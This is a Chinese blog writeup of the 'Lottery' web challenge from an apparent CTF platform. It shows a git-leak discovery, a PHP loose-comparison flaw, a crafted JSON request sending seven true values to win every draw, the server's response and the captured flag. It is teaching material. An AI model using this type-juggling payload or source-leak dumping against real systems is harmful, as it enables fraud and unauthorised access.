

攻防世界 Lottery（彩票） writeup

原创

冰可乐不加可乐



于 2020-03-12 17:44:33 发布



365



收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议，转载请附上原文出处链接和本声明。

本文链接：<https://blog.csdn.net/freerats/article/details/104824076>

版权

Notice: You are offered a huge discount!

All items

Flag

\$9990000

On Sale

buy the flag if you can

Buy

<https://blog.csdn.net/freerats>

在最后一个页面看到flag可以进行购买，应该有足够的钱就可获得flag:

Buy a lottery!

<https://blog.csdn.net/freerats>

登入后看到一个输入7位数字的框，尝试输入七位数字后就会出现类似买七色球的七位随机数，这里可以赚钱，进行抓包

```
POST /api.php HTTP/1.1
Host: 111.198.29.45:35909
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 36
Origin: http://111.198.29.45:35909
Connection: close
Referer: http://111.198.29.45:35909/buy.php
Cookie: PHPSESSID=225251afdl4565317f13b5751e449d67
```

```
{"action": "buy", "numbers": "1234567"}
```

<https://blog.csdn.net/freerats>

出现参数action, numbers。

使用AWVS进行扫描，发现存在git泄露

打开githack把文件下载下来

在api.php里发现一串主要的php代码

其中关键代码为下图

```
function buy($req){
    require_registered();
    require_min_money(2);

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
    }
}
```

在图中有number参数，与七位随机数进行比较

漏洞为比较方式为==弱类型比较（若数据类型不同，则会转化为相同类型进行比较），因此只要传入七个true即可匹配成功。

框内限制只能输入七个字符，所以在bp里传入

```
Raw 参数 头 Hex
POST /api.php HTTP/1.1
Host: 111.198.29.45:35909
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0)
Gecko/20100101 Firefox/73.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 63
Origin: http://111.198.29.45:35909
Connection: close
Referer: http://111.198.29.45:35909/buy.php
Cookie: PHPSESSID=225251afd14565317f13b5751e449d67

{"action": "buy", "numbers": [true, true, true, true, true, true, true]}

Raw 头 Hex
HTTP/1.1 200 OK
Date: Thu, 12 Mar 2020 09:13:35 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 119
Connection: close
Content-Type: application/json

{"status": "ok", "numbers": [true, true, true, true, true, true, true], "win_numbers": "2995149", "money": 51403502, "prize": 5000000}
```

<https://blog.csdn.net/freerats>

以数组的方式传入不会报错

接下来多传几次就可以有足够的钱买flag了

Here is your flag: cyberpeace{bbbc74dca2f9d29023e30d6d17c5e12c}

All items